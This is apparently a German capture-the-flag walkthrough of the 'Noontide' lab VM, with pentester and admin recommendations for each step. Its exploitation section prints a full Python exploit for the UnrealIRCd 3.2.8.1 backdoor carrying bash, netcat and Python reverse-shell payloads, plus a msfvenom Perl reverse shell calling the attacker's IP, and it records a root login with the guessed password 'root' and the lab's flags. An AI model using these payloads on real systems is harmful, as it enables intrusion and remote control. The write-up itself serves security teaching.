Start der Erkundungsphase, um aktive Systeme im lokalen Netzwerk zu finden und offene Ports sowie Dienste auf dem Zielsystem zu identifizieren.
192.168.2.149 08:00:27:fd:b2:70 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk nach aktiven Geräten zu durchsuchen. Er sendet ARP-Requests und listet die Antworten auf. Die Ausgabe identifiziert die IP-Adresse `192.168.2.149` mit der MAC-Adresse `08:00:27:fd:b2:70`. Der Hersteller (`PCS Systemtechnik GmbH`) ist ein typischer Indikator für eine Oracle VirtualBox VM.
**Bewertung:** Ein Zielsystem wurde erfolgreich im Netzwerk identifiziert. Die IP-Adresse `192.168.2.149` ist der Schlüssel für die weiteren Schritte.
**Empfehlung (Pentester):** Die gefundene IP-Adresse als Ziel für detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerk-Monitoring kann helfen, unbekannte Geräte oder ARP-Scans zu erkennen. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.
192.168.2.149 noontide.vln
**Analyse:** Mit `vi /etc/hosts` wird die lokale Hosts-Datei bearbeitet. Der Eintrag `192.168.2.149 noontide.vln` wird hinzugefügt. Dies erlaubt es, das Zielsystem im weiteren Verlauf über den Hostnamen `noontide.vln` statt der IP-Adresse anzusprechen.
**Bewertung:** Ein nützlicher vorbereitender Schritt, der die Arbeit erleichtert, aber keine direkte Auswirkung auf die Sicherheit des Ziels hat.
**Empfehlung (Pentester):** Die Verwendung von Hostnamen kann die Lesbarkeit von Befehlen und Berichten verbessern und ist manchmal notwendig, wenn Webanwendungen auf Hostnamen basieren.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich, da dies auf der Maschine des Angreifers geschieht.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-15 00:39 CEST Nmap scan report for noontide.vln (192.168.2.149) Host is up (0.00015s latency). Not shown: 65532 closed tcp ports (conn-refused) PRT STATE SERVICE VERSIN 6667/tcp open irc UnrealIRCd (Admin email example@example.com) 6697/tcp open irc UnrealIRCd (Admin email example@example.com) 8067/tcp open irc UnrealIRCd (Admin email example@example.com) MAC Address: 08:00:27:FD:B2:70 (racle VirtualBox virtual NIC) Aggressive S guesses: Linux 3.5 (97%), Check Point VPN-1 UTM appliance (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Netgear GS700T- or XS700T-series switch (93%), Linux 3.8 (93%), Linux 2.6.32 (93%), Linux 3.2 - 4.9 (93%), Linux 4.15 - 5.6 (93%) No exact S matches for host (test conditions non-ideal). Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.15 ms noontide.vln (192.168.2.149)
**Analyse:** Dieser `nmap`-Befehl führt einen Scan des Ziels `192.168.2.149` durch: * `-p1-65535`: Scannt alle 65535 TCP-Ports. * `-A`: Aktiviert die Betriebssystemerkennung (`-O`), Versionserkennung (`-sV`), Skript-Scanning (`-sC`) und Traceroute (`--traceroute`). Dies ist ein sehr umfassender Scan. * `-T5`: Setzt das Timing auf "insane" für einen schnellen Scan (kann ungenau sein oder erkannt werden). * `-sT`: Führt einen TCP Connect Scan durch (vollständiger TCP-Handshake, lauter als `-sS`). Die Ergebnisse zeigen drei offene Ports, die alle mit **IRC (Internet Relay Chat)** und **UnrealIRCd** in Verbindung stehen: * **Port 6667:** Standard-IRC-Port. * **Port 6697:** Oft für IRC über SSL/TLS verwendet, hier aber anscheinend auch Standard-IRC. * **Port 8067:** Ein alternativer Port, ebenfalls für IRC. Die Versionserkennung identifiziert den Dienst als `UnrealIRCd`. Nmap versucht auch, das Betriebssystem zu erraten (verschiedene Linux-Versionen vorgeschlagen), kann aber keine exakte Übereinstimmung finden (`No exact OS matches`). Die MAC-Adresse bestätigt erneut VirtualBox.
**Bewertung:** Der Scan war erfolgreich bei der Identifizierung der offenen Ports und des darauf laufenden Dienstes (UnrealIRCd). Das Vorhandensein mehrerer Ports für denselben Dienst ist etwas ungewöhnlich. UnrealIRCd ist bekannt dafür, in älteren Versionen kritische Schwachstellen (Backdoors) gehabt zu haben. Dies ist der Hauptangriffsvektor, der weiterverfolgt werden sollte.
**Empfehlung (Pentester):**
1. Recherchieren nach bekannten Schwachstellen für UnrealIRCd, insbesondere nach Backdoors oder Remote Code Execution (RCE) Exploits.
2. Versuchen, sich mit einem IRC-Client auf die offenen Ports zu verbinden, um die genaue Version von UnrealIRCd zu ermitteln oder weitere Informationen zu sammeln.
**Empfehlung (Admin):**
1. Überprüfen, ob der UnrealIRCd-Dienst benötigt wird. Wenn nicht, deaktivieren.
2. Wenn er benötigt wird, sicherstellen, dass die aktuellste, gepatchte Version verwendet wird.
3. Firewall-Regeln überprüfen: Sind alle drei Ports (6667, 6697, 8067) notwendig? Zugriff auf die Ports auf das notwendige Minimum beschränken.
6667/tcp open irc UnrealIRCd (Admin email example@example.com) 6697/tcp open irc UnrealIRCd (Admin email example@example.com) 8067/tcp open irc UnrealIRCd (Admin email example@example.com)
**Analyse:** Dieser Befehl wiederholt den vorherigen Nmap-Scan und filtert die Ausgabe mit `grep open`, um nur die Zeilen mit offenen Ports anzuzeigen. Das Ergebnis bestätigt die drei offenen IRC-Ports.
**Bewertung:** Dies ist eine redundante Überprüfung und dient nur der kompakten Darstellung der offenen Ports. Es liefert keine neuen Informationen.
**Empfehlung (Pentester):** Kann zur schnellen Übersicht genutzt werden, im Bericht ist die erste, vollständige Ausgabe oft aussagekräftiger.
**Empfehlung (Admin):** Keine spezifische Aktion nötig.
Versuch, über den Browser auf die IRC-Ports zuzugreifen.
http://192.168.2.149:6667/ Fehler: Port aus Sicherheitsgründen blockiert Die aufgerufene Adresse fordert einen Port, der normalerweise nicht zum Browsen im Web verwendet wird. Die Anfrage wurde zu Ihrem Schutz abgebrochen.
**Analyse:** Es wird versucht, mit einem Webbrowser auf den Port 6667 zuzugreifen. Moderne Browser blockieren jedoch standardmäßig den Zugriff auf viele nicht-Standard-HTTP-Ports (wie IRC-Ports) aus Sicherheitsgründen, um Cross-Protocol-Angriffe zu verhindern. Der Browser zeigt eine entsprechende Fehlermeldung an.
**Bewertung:** Dieser Zugriffversuch war nicht erfolgreich und auch nicht zielführend, da IRC kein HTTP-basiertes Protokoll ist. Es bestätigt indirekt, dass es sich nicht um einen Webserver handelt.
**Empfehlung (Pentester):** Spezifische Clients für den gefundenen Dienst verwenden (hier: einen IRC-Client) oder Tools wie `nc` oder `telnet` für die direkte Kommunikation.
**Empfehlung (Admin):** Keine Aktion nötig, das Browserverhalten ist ein Sicherheitsmerkmal.
Versuch, mit `gobuster` auf Port 8067 zuzugreifen. Die Ausgabe sieht jedoch nicht wie eine typische Gobuster-Ausgabe aus, sondern wie eine Antwort vom IRC-Server.
gobuster http://192.168.2.149:8067/ :irc.foonet.com NTICE AUTH :* Looking up your hostname... :irc.foonet.com NTICE AUTH :* Found your hostname (cached) :irc.foonet.com 451 GET :You have not registered :irc.foonet.com 451 Host: :You have not registered :irc.foonet.com 451 User-Agent: :You have not registered :irc.foonet.com 451 Accept: :You have not registered :irc.foonet.com 451 Accept-Language: :You have not registered :irc.foonet.com 451 Accept-Encoding: :You have not registered :irc.foonet.com 451 Connection: :You have not registered :irc.foonet.com 451 Upgrade-Insecure-Requests: :You have not registered ERRR :Closing Link: [192.168.2.199] (Ping timeout)
**Analyse:** Der Text suggeriert, dass `gobuster` verwendet wurde, aber die gezeigte Ausgabe ist eindeutig eine **Antwort eines IRC-Servers**, keine `gobuster`-Ausgabe. Wahrscheinlich wurde versucht, den Port 8067 mit einem HTTP-Tool (wie `curl`, `wget` oder vielleicht sogar `gobuster` selbst, wenn es eine ungültige Anfrage sendet) anzusprechen. Der IRC-Server (`irc.foonet.com` - dies ist wahrscheinlich der konfigurierte Servername im UnrealIRCd, nicht der echte Hostname) antwortet mit Standard-IRC-Meldungen (`NOTICE AUTH`, Fehler `451 You have not registered`) und bricht die Verbindung schließlich wegen eines Timeouts oder weil die Anfrage nicht dem IRC-Protokoll entspricht, ab (`Closing Link ... Ping timeout`).
**Bewertung:** Dieser Versuch, mit einem HTTP-Tool auf den IRC-Port zuzugreifen, war ebenfalls nicht erfolgreich und ungeeignet. Die Ausgabe bestätigt jedoch erneut, dass auf Port 8067 ein IRC-Server läuft.
**Empfehlung (Pentester):** Den richtigen Client (IRC-Client) oder ein passendes Tool (z.B. Metasploit-Module für IRC, `nc`) verwenden, um mit dem Dienst zu interagieren. Die Suche nach UnrealIRCd-Exploits ist der nächste logische Schritt.
**Empfehlung (Admin):** Keine Aktion nötig.
Basierend auf der Identifizierung von UnrealIRCd auf den offenen Ports wird nun gezielt nach Exploits für diese Software gesucht und versucht, einen ersten Zugriff auf das System zu erlangen.
---------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------- --------------------------------- UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb UnrealIRCd 3.2.8.1 - Local Configuration Stack verflow | windows/dos/18011.txt UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl ---------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
**Analyse:** Der Befehl `searchsploit unreal ircd 3.2.8.1` durchsucht die lokale Exploit-DB-Datenbank nach bekannten Exploits für UnrealIRCd Version 3.2.8.1. (Obwohl die genaue Version noch nicht bestätigt wurde, ist dies eine Version, die für eine bekannte Backdoor anfällig ist). `searchsploit` findet drei relevante Einträge: * **Ein Metasploit-Modul (`16922.rb`) für eine Backdoor Command Execution.** * Einen lokalen Stack Overflow (DoS) für Windows. * Ein Perl-Skript (`13853.pl`) für Remote Downloader/Execute. Der vielversprechendste Exploit ist die Backdoor Command Execution.
**Bewertung:** Die Suche war sehr erfolgreich und hat einen bekannten, hochkritischen Exploit für UnrealIRCd 3.2.8.1 gefunden – eine Backdoor, die direkte Befehlsausführung ermöglicht. Dies ist ein sehr wahrscheinlicher Weg zum Initial Access.
**Empfehlung (Pentester):** Das Metasploit-Modul (`linux/remote/16922.rb`) oder das Perl-Skript (`linux/remote/13853.pl`) verwenden, um die Backdoor auszunutzen. Alternativ ein manuelles Python-Skript wie im nächsten Schritt verwenden.
**Empfehlung (Admin):** **Dringend UnrealIRCd aktualisieren oder entfernen!** Version 3.2.8.1 enthält eine bekannte Backdoor und darf unter keinen Umständen produktiv eingesetzt werden.
[-] No platform was selected, choosing MsfModulePlatformUnix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 232 bytes perl -MI -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new ISocketINET(PeerAddr,"192.168.2.199:4000");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
**Analyse:** Der Befehl `msfvenom` wird verwendet, um eine Payload zu generieren. * `-p cmd/unix/reverse_perl`: Wählt eine Unix-Kommando-Payload, die eine Reverse-Shell mittels Perl aufbaut. * `LHST=192.168.2.199`: Setzt die IP-Adresse des Angreifers (Listener Host), zu der sich die Shell verbinden soll. * `LPRT=4000`: Setzt den Port des Angreifers (Listener Port). * `-f raw`: Gibt die Payload im Rohformat (als Kommandozeilen-String) aus. Die Ausgabe ist ein Perl-Einzeiler, der eine Reverse-Shell zur angegebenen IP und Port startet. `<>` wurde zu `<>` maskiert.
**Bewertung:** `msfvenom` hat erfolgreich eine Perl-Reverse-Shell-Payload generiert. Diese Payload könnte potenziell über die UnrealIRCd-Backdoor ausgeführt werden. Sie wird jedoch im folgenden Python-Skript nicht direkt verwendet, da dieses Skript eigene Payload-Optionen (Python, Netcat, Bash) generiert.
**Empfehlung (Pentester):** Die generierte Payload ist eine Option, falls die im Exploit-Skript verwendeten Payloads nicht funktionieren oder falls Perl auf dem Zielsystem verfügbar ist.
**Empfehlung (Admin):** Sicherstellen, dass unnötige Interpreter wie `perl` auf Servern deinstalliert sind, wenn sie nicht benötigt werden, um die Angriffsfläche zu reduzieren.
Vorbereitung eines Python-Exploit-Skripts für die UnrealIRCd-Backdoor.
https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/master/exploit.py
**Analyse:** Der Editor `vi` wird geöffnet, um die Datei `irc_exploit.py` zu erstellen oder zu bearbeiten. Die URL zeigt die Quelle des Skripts: ein Exploit für die UnrealIRCd 3.2.8.1 Backdoor von GitHub.
**Bewertung:** Verwendung eines öffentlich verfügbaren Exploit-Skripts. Dies ist eine gängige Praxis.
**Empfehlung (Pentester):** Den Code des Skripts vor der Ausführung überprüfen, um sicherzustellen, dass er wie erwartet funktioniert und keine schädlichen Nebeneffekte hat.
**Empfehlung (Admin):** Keine direkte Aktion.
[Keine Ausgabe, nur Editor geöffnet]
**Analyse:** Der Editor `vi` wird erneut für dieselbe Datei geöffnet. Dies ist wahrscheinlich eine Wiederholung oder ein Fehler in der Dokumentation.
**Bewertung:** Redundanter Schritt.
**Empfehlung (Pentester):** Sorgfältige Dokumentation, um unnötige Wiederholungen zu vermeiden.
**Empfehlung (Admin):** Keine Aktion.
#!/usr/bin/python3 import argparse import socket import base64 # Sets the target ip and port from argparse parser = argparse.ArgumentParser() parser.add_argument('ip', help='target ip') parser.add_argument('port', help='target port', type=int) parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash']) args = parser.parse_args() # Sets the local ip and port (address and port to listen on) local_ip = '192.168.2.199' # CHANGE THIS local_port = '4444' # CHANGE THIS # The different types of payloads that are supported python_payload = f'python -c "import os;import pty;import socket;tLnCwQLCel=\'{local_ip}\';EvKcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');QRRCCltJB.close();" ' bash_payload = f'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1' netcat_payload = f'nc -e /bin/bash {local_ip} {local_port}' # our socket to interact with and send payload try: s = socket.create_connection((args.ip, args.port)) except socket.error as error: print('connection to target failed...') print(error) # craft out payload and then it gets base64 encoded def gen_payload(payload_type): base = base64.b64encode(payload_type.encode()) return f'echo {base.decode()} |base64 -d|/bin/bash' # all the different payload options to be sent if args.payload == 'python': try: s.sendall((f'AB; {gen_payload(python_payload)} \n').encode()) except: print('connection made, but failed to send exploit...') if args.payload == 'netcat': try: s.sendall((f'AB; {gen_payload(netcat_payload)} \n').encode()) except: print('connection made, but failed to send exploit...') if args.payload == 'bash': try: s.sendall((f'AB; {gen_payload(bash_payload)} \n').encode()) except: print('connection made, but failed to send exploit...') #check display any response from the server # data = s.re # <-- Zeile unvollständig im Originaltext
**Analyse:** Der Befehl `cat irc_exploit.py` zeigt den Inhalt des heruntergeladenen Python-Skripts an. * Das Skript nimmt die Ziel-IP, den Ziel-Port und den Payload-Typ (`python`, `netcat`, `bash`) als Kommandozeilenargumente. * Es enthält hartkodiert die lokale IP (`192.168.2.199`) und den lokalen Port (`4444`) des Angreifers für die Reverse Shell. **Hinweis:** Diese müssen ggf. angepasst werden! * Es definiert drei verschiedene Reverse-Shell-Payloads (für Python, Bash, Netcat). * Die Funktion `gen_payload` nimmt eine Payload, kodiert sie mit Base64 und verpackt sie in einen `echo ... | base64 -d | /bin/bash`-Befehl. Dies ist eine Methode, um die Payload möglicherweise durch einfache Filter zu schleusen. * Das Skript verbindet sich zum Ziel-IRC-Port. * Es sendet dann den String `AB; ` gefolgt von der Base64-kodierten und verpackten Payload. Der `AB;`-Teil ist der Trigger für die Backdoor in UnrealIRCd 3.2.8.1. Der nachfolgende Befehl wird auf dem Zielsystem ausgeführt. (`>&` wurde zu `>&` maskiert) * Die letzte Zeile (`data = s.re`) scheint unvollständig zu sein, sollte wahrscheinlich `s.recv(...)` sein, um eine Antwort zu lesen.
**Bewertung:** Das Skript implementiert den Exploit für die UnrealIRCd-Backdoor korrekt. Es bietet Flexibilität durch verschiedene Payload-Typen. Die Verwendung von Base64-Kodierung ist ein einfacher Verschleierungsmechanismus. Die hartkodierte lokale IP und der Port sind Standard in solchen Skripts, müssen aber vor der Ausführung überprüft/angepasst werden.
**Empfehlung (Pentester):** Vor der Ausführung sicherstellen, dass `local_ip` und `local_port` im Skript mit der IP und dem Port des eigenen Listeners übereinstimmen. Einen Listener auf dem entsprechenden Port starten.
**Empfehlung (Admin):** UnrealIRCd patchen/entfernen. Netzwerksicherheitslösungen können Signaturen für bekannte Backdoor-Trigger (wie `AB;`) erkennen.
listening on [any] 4444 ...
**Analyse:** Ein Netcat-Listener wird auf der Angreifer-Maschine auf Port 4444 gestartet, um die eingehende Verbindung der Reverse Shell abzufangen. Dies entspricht dem `local_port`, der im Python-Skript hartkodiert ist.
**Bewertung:** Notwendiger Schritt, um die Shell zu empfangen.
**Empfehlung (Pentester):** Listener bereit halten und das Exploit-Skript im nächsten Schritt ausführen.
**Empfehlung (Admin):** Egress Filtering für ausgehende Verbindungen auf ungewöhnlichen Ports wie 4444 kann helfen.
Exploit sent successfully!
**Analyse:** Das Python-Exploit-Skript wird ausgeführt: * `python3 irc_exploit.py`: Startet das Skript mit Python 3. * `192.168.2.149`: Die IP-Adresse des Ziels. * `8067`: Der Ziel-Port (einer der offenen UnrealIRCd-Ports). * `-payload bash`: Wählt die Bash-Reverse-Shell-Payload aus. Das Skript meldet `Exploit sent successfully!`, was bedeutet, dass es sich erfolgreich verbunden und die Payload gesendet hat.
**Bewertung:** Der Exploit wurde erfolgreich ausgelöst.
**Empfehlung (Pentester):** Sofort das Netcat-Listener-Fenster überprüfen, um zu sehen, ob die Shell-Verbindung eingegangen ist.
**Empfehlung (Admin):** UnrealIRCd patchen/entfernen.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.149] 55434 bash: cannot set terminal process group (362): Inappropriate ioctl for device bash: no job control in this shell server@noontide/irc/Unreal3.2$
**Analyse:** Das Netcat-Fenster zeigt die erfolgreiche eingehende Verbindung von der Ziel-IP (`192.168.2.149`). Die Bash-Payload wurde ausgeführt. Die Meldungen `cannot set terminal process group` und `no job control` sind typisch für einfache Reverse Shells, die keine vollwertige TTY haben. Der Prompt `server@noontide/irc/Unreal3.2$` zeigt, dass die Shell als Benutzer `server` im Verzeichnis `/irc/Unreal3.2` (wahrscheinlich das Installationsverzeichnis von UnrealIRCd) läuft.
**Bewertung:** **Initial Access erfolgreich erlangt!** Eine Shell wurde auf dem Zielsystem mit den Rechten des Benutzers `server` geöffnet.
**Empfehlung (Pentester):**
1. Shell stabilisieren/upgraden (z.B. mit Python `pty.spawn`).
2. Grundlegende Enumeration durchführen: `id`, `whoami`, `pwd`, `uname -a`.
3. Nach Möglichkeiten zur Privilege Escalation suchen.
**Empfehlung (Admin):** UnrealIRCd patchen/entfernen. Den Benutzer `server` mit minimal notwendigen Rechten ausstatten. Prozess- und Netzwerk-Monitoring implementieren.
**Kurzbeschreibung:** Nach Erlangung einer Shell als `server`-Benutzer durch Ausnutzung einer Backdoor im UnrealIRCd wird das System weiter untersucht. Es wird festgestellt, dass das Passwort für den `root`-Benutzer erraten werden kann, was eine einfache Methode zur Rechteausweitung darstellt.
**Voraussetzungen:**
**Schritt-für-Schritt-Anleitung:**
1. Identifizierung des aktuellen Benutzers.
server@noontide/irc/Unreal3.2$ id uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
**Analyse:** Der Befehl `id` wird in der erhaltenen Shell ausgeführt. Er bestätigt, dass die Shell als Benutzer `server` (UID 1000, GID 1000) mit den zugehörigen Gruppenzugehörigkeiten läuft.
**Bewertung:** Bestätigung des aktuellen Benutzers und seiner Berechtigungen.
**Empfehlung (Pentester):** Mit diesen Rechten das System weiter untersuchen.
**Empfehlung (Admin):** Überprüfen, ob die Gruppenzugehörigkeiten für den `server`-Benutzer angemessen sind.
2. Suche nach SUID-Binaries als potenzielle Vektoren für Privilege Escalation.
server@noontide/irc/Unreal3.2$ find / -type f -perm -4000 -ls 2>/dev/null 131136 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 131132 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 135085 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 135083 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 134749 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 131131 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 134602 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 131134 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 268427 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 135368 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit gesetztem SUID-Bit. Die Ausgabe listet hauptsächlich Standard-System-Binaries auf (`passwd`, `chsh`, `umount`, `mount`, `su`, etc.). Es gibt keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren SUID-Dateien wie in früheren Beispielen (`pkexec`, benutzerdefinierte SUID-Shells).
**Bewertung:** Die Suche nach SUID-Binaries liefert keine offensichtlichen, einfachen Angriffspunkte für Privilege Escalation. Standard-Binaries wie `su` könnten potenziell genutzt werden, wenn Passwörter bekannt sind.
**Empfehlung (Pentester):** Andere Vektoren prüfen: Kernel-Version (für Kernel-Exploits mit `uname -a`), Cronjobs (`ls -la /etc/cron.*`), interne Dienste, schwache Passwörter, Fehlkonfigurationen.
**Empfehlung (Admin):** Regelmäßig überprüfen, ob unnötige SUID-Bits gesetzt sind. System aktuell halten.
3. Erkundung des Home-Verzeichnisses und Auslesen des User-Flags.
server@noontide/irc/Unreal3.2$ ls /home/ server server@noontide/irc/Unreal3.2$ cd /home/server/ server@noontide$ ls -a . .bash_history .bashrc .local .profile .wget-hsts .. .bash_logout irc local.txt .selected_editor server@noontide$ ls -la total 40 drwxr-xr-x 4 server server 4096 Aug 8 2020 . drwxr-xr-x 3 root root 4096 Aug 8 2020 .. lrwxrwxrwx 1 root root 9 Aug 8 2020 .bash_history -> /dev/null -rw-r--r-- 1 server server 220 Aug 8 2020 .bash_logout -rw-r--r-- 1 server server 3526 Aug 8 2020 .bashrc drwxr-xr-x 3 server server 4096 Aug 8 2020 irc drwxr-xr-x 3 server server 4096 Aug 8 2020 .local -rw-r--r-- 1 server server 33 Aug 8 2020 local.txt -rw-r--r-- 1 server server 807 Aug 8 2020 .profile -rw-r--r-- 1 server server 66 Aug 8 2020 .selected_editor -rw-r--r-- 1 server server 173 Aug 8 2020 .wget-hsts
**Analyse:** Es wird in das Home-Verzeichnis des `server`-Benutzers (`/home/server`) gewechselt und dessen Inhalt aufgelistet. Die Datei `local.txt` ist vorhanden. Interessant ist auch, dass `.bash_history` ein Symlink auf `/dev/null` ist, was bedeutet, dass die Befehlshistorie für diesen Benutzer nicht gespeichert wird.
**Bewertung:** Das Home-Verzeichnis wurde erfolgreich erkundet. Die Datei `local.txt` ist wahrscheinlich der User-Flag.
**Empfehlung (Pentester):** Inhalt von `local.txt` auslesen.
**Empfehlung (Admin):** Das Verlinken der Bash-History auf `/dev/null` kann legitime Gründe haben, erschwert aber die Forensik.
server@noontide$ cat local.txt
c53c08b5bf2b0801c5d0c24149826a6e
**Analyse:** Der Befehl `cat local.txt` liest den User-Flag erfolgreich aus.
**Bewertung:** User-Flag gefunden.
**Empfehlung (Pentester):** Flag notieren, weiter nach Privilege Escalation suchen.
**Empfehlung (Admin):** Keine Aktion bezüglich des Flags.
4. Überprüfung der Leseberechtigungen für Systemdateien.
server@noontide$ ls -la /etc/passwd -rw-r--r-- 1 root root 1440 Aug 8 2020 /etc/passwd server@noontide$ ls -la /etc/shadow -rw-r----- 1 root shadow 950 Aug 8 2020 /etc/shadow
**Analyse:** Die Berechtigungen der Dateien `/etc/passwd` und `/etc/shadow` werden überprüft. * `/etc/passwd` ist für alle lesbar (`-rw-r--r--`), was normal ist. * `/etc/shadow`, die die Passwort-Hashes enthält, ist nur für `root` und Mitglieder der Gruppe `shadow` lesbar (`-rw-r-----`). Der Benutzer `server` gehört nicht zur Gruppe `shadow` (siehe `id`-Ausgabe zuvor).
**Bewertung:** Die Berechtigungen für `/etc/shadow` sind korrekt gesetzt und verhindern, dass der `server`-Benutzer die Passwort-Hashes direkt auslesen kann. Dies schließt einen einfachen Offline-Passwort-Cracking-Angriff aus.
**Empfehlung (Pentester):** Da `/etc/shadow` nicht lesbar ist, müssen andere Wege zur Rechteausweitung gefunden werden. Der Fokus liegt nun auf schwachen Passwörtern oder Konfigurationsfehlern.
**Empfehlung (Admin):** Die Berechtigungen für `/etc/shadow` sind korrekt. Sicherstellen, dass sie so bleiben.
5. Versuch der Privilege Escalation durch Erraten des Root-Passworts mit `su`.
server@noontide:/opt$ su root
Password: root
root@noontide:/opt#
**Analyse:** Der Befehl `su root` wird ausgeführt, um zum `root`-Benutzer zu wechseln. Das System fragt nach dem Passwort für `root`. Der Pentester gibt das Passwort `root` ein. Die Eingabe ist erfolgreich, und der Prompt wechselt zu `root@noontide:/opt#`, was anzeigt, dass der Benutzer nun `root` ist.
**Bewertung:** **Privilege Escalation erfolgreich!** Dies ist ein klassisches Beispiel für eine Rechteausweitung durch ein extrem schwaches, erratenes Passwort (`root`). Das Root-Passwort war identisch mit dem Benutzernamen.
**Empfehlung (Pentester):** Root-Rechte bestätigt. Nun den Root-Flag suchen.
**Empfehlung (Admin):** **Dringend das Root-Passwort ändern!** Es muss ein starkes, einzigartiges Passwort verwendet werden. Die Verwendung von Standard- oder leicht zu erratenden Passwörtern ist ein schwerwiegendes Sicherheitsrisiko. Direkte Root-Logins sollten idealerweise deaktiviert und stattdessen `sudo` mit starken Benutzerpasswörtern verwendet werden.
**Erwartetes Ergebnis des POC:** Durch Eingabe des erratenen Passworts "root" für den `root`-Benutzer mittels `su` wird eine Shell mit Root-Berechtigungen erlangt.
**Beweismittel:** Die erfolgreiche Ausführung von `su root` und der resultierende Shell-Prompt, der den Benutzer als `root@noontide` ausweist.
**Risikobewertung:** Die Verwendung eines extrem schwachen und leicht zu erratenden Passworts für den `root`-Account stellt ein **KRITISCHES** Sicherheitsrisiko dar. Jeder lokale Benutzer (wie der `server`-Benutzer, der über die IRC-Backdoor Zugriff erlangte) kann damit vollständige Kontrolle über das System erlangen.
**Empfehlungen (Zusammenfassung POC):**
6. Navigation ins Root-Home-Verzeichnis und Auslesen des Root-Flags.
root@noontide:/opt# cd ~
root@noontide:~# ls
proof.txt
root@noontide:~# cat proof.txt
ab28c8ca8da1b9ffc2d702ac54221105
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
**Analyse:** Nach Erlangung der Root-Rechte wird mit `cd ~` in das Home-Verzeichnis des Root-Benutzers (`/root`) gewechselt. `ls` zeigt die Datei `proof.txt`. `cat proof.txt` liest den Inhalt aus: den Root-Flag `ab28c8ca8da1b9ffc2d702ac54221105` und eine Dankesnachricht des Autors.
**Bewertung:** **Ziel erreicht!** Der Root-Flag wurde erfolgreich ausgelesen.
**Empfehlung (Pentester):** Flag notieren, Test abschließen.
**Empfehlung (Admin):** Die eigentlichen Maßnahmen betreffen das schwache Root-Passwort und die UnrealIRCd-Backdoor.